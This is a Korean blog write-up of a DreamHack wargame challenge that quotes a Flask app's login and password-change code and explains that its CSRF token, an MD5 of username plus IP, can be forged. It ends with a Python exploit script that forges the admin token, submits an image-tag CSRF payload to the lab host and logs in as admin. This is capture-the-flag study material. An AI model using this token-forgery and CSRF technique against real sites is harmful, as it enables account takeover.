https://dreamhack.io/wargame/challenges/442
난이도: Level 1
app.py
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("user not found");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
app.py에 로그인 코드를 보면, md5 hash 함수를 사용해서 토큰을 생성하는 것을 확인할 수 있습니다.
@app.route("/change_password")
def change_password():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
csrf_token = token_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
pw = request.args.get("pw", None)
if pw == None:
return render_template('change_password.html', csrf_token=csrf_token)
else:
if csrf_token != request.args.get("csrftoken", ""):
return '<script>alert("wrong csrf token");history.go(-1);</script>'
users[username] = pw
return '<script>alert("Done");history.go(-1);</script>'
생성된 토큰은 패스워드 변경 시에 활용됩니다. 토큰을 사용하는 이유는 패스워드를 변경하고자 하는 사용자가 본인이 맞는지 인증하기 위함입니다.
하지만, 위 코드에서는 로그인 시에 username과 remote_addr 값을 토대로 토큰을 생성하기 때문에 충분히 위조가 가능합니다.
username에 admin을 넣고 remote_addr에 127.0.0.1을 넣어 토큰을 생성하면, admin의 토큰 값을 얻을 수 있습니다.
이후, 얻은 토큰 값과 변경하고자 하는 패스워드 값을 change_password에 넘기면 admin 계정의 패스워드를 변경할 수 있습니다.
변경된 admin 패스워드를 입력해 주면 admin 계정에 로그인할 수 있습니다.
Exploit Code
# <img src="/change_password?pw=admin&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">
import requests
import hashlib
## Create Token
username = b"admin"
ip = b"127.0.0.1"
csrf_token = hashlib.md5(username + ip).hexdigest()
print(csrf_token)
url = 'http://host3.dreamhack.games:9335'
## Change the password of admin
change = "\"/change_password?pw={}&csrftoken={}\"".format("admin",csrf_token)
data = {"param": '<img src={}>'.format(change)}
res = requests.post(url + '/flag',data=data)
print(res.text)
data = {"username":"admin", "password":"admin"}
## Login admin account
res = requests.post(url + '/login',data=data)
print(res.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] sql injection bypass WAF (0) | 2023.08.08 |
---|---|
[DreamHack] Apache htaccess (0) | 2023.08.08 |
[DreamHack] ex-reg-ex (0) | 2023.08.08 |
[DreamHack] Flying Chars (0) | 2023.08.08 |
[DreamHack] phpreg (0) | 2023.08.08 |